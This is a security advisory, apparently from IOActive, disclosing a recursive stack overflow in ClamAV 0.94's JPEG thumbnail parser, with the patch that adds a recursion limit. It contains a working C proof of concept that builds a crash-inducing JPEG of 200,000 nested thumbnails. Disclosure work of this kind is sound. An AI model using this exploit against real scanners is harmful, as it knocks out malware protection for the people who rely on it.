IOActive Security Advisory

Title	Recursive stack overflow in ClamAV JPEG handling
Severity	Important
Date Reported	October 30, 2008
Date Patched	December 1, 2008
Date Disclosed	June 9, 2009
Author	Ilja van Sprundel

Affected Products

Clam AntiVirus (ClamAV) 0.94; earlier versions are also likely to be vulnerable.

Description

ClamAV's JPEG parser contains code that recursively checks thumbnails if they are included. Since the thumbnails themselves can be JPEGs, there is no limit to the amount of recursions that can occur, leading to potential stack overflow.

Technical Details

```
clamav-0.94\libclamav\special.c:
int cli_check_jpeg_exploit(int fd)
{
...
    if ((retval=jpeg_check_photoshop(fd)) != 0) {
       return retval;
    }
...
}

...
static int jpeg_check_photoshop(int fd)
{
...
    retval = jpeg_check_photoshop_8bim(fd);
...
}

...
static int jpeg_check_photoshop_8bim(int fd)
```

```
{
...
    retval = cli_check_jpeg_exploit(fd);
...
}
```

The `cli_check_jpeg_exploit()` function is called to scan the filed JPEG and the `file descriptor` parameter points to the JPEG file. If the APP14 Marker is found (0xFF 0xED), `jpeg_check_photoshop()` is called. If the "Photoshop 3.0" string is found in `jpeg_check_photoshop()` then `jpeg_check_photoshop_8bim()` is called. That function reads and parses the 8BIM segment. If it is found to have a thumbnail image, `cli_check_jpeg_exploit()` is called.

Knowing this, one could generate a JPEG file that contains a thumbnail, which in turn contains a thumbnail that contains a thumbnail...and so on. Given enough thumbnails, a recursive stack overflow will occur in the JPEG parser and ClamAV will crash.

Proof-of-Concept

This proof of concept generates the JPEG file `poc.jpg` in the current working directory. The file contains 200,000 thumbnails inside thumbnails, which was a sufficient number to crash ClamAV in our test environment.

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NR_ITER 200000

const char crashstr[] =
  "\xff\xd8" // jpg marker
  "\xff\xed" // exif data
  "\x00\x02" // length
  "Photoshop 3.0\x00"
  "8BIM"
  "\x04\x0c" // thumbnail id
  "\x00"
  "\x01"
  "\x01\x01\x01\x01"
  "01234567890123456789012345678";

int main() {
  FILE *fp;
  int i;
  fp = fopen("poc.jpg", "w+");
  if (!fp) {
    printf("can't open/create file\n");
    exit(0);
  }
  for (i = 0; i < NR_ITER; i++) {
    fwrite(crashstr, sizeof(crashstr)-1, 1,fp);
  }
  fclose(fp);
  printf("done, now run clamscan on ./poc.jpg\n");
  exit(0);
}
```

Remediation

This bug was fixed in version 0.94.2 by adding a recursion limit:

```
int cli_check_jpeg_exploit(int fd, cli_ctx *ctx) {
...
  if(ctx->recursion > ctx->limits->maxreclevel)
    return CL_EMAXREC;
...
}
```

Further details can be found at <https://wwws.clamav.net/bugzilla/show_bug.cgi?id=1266>.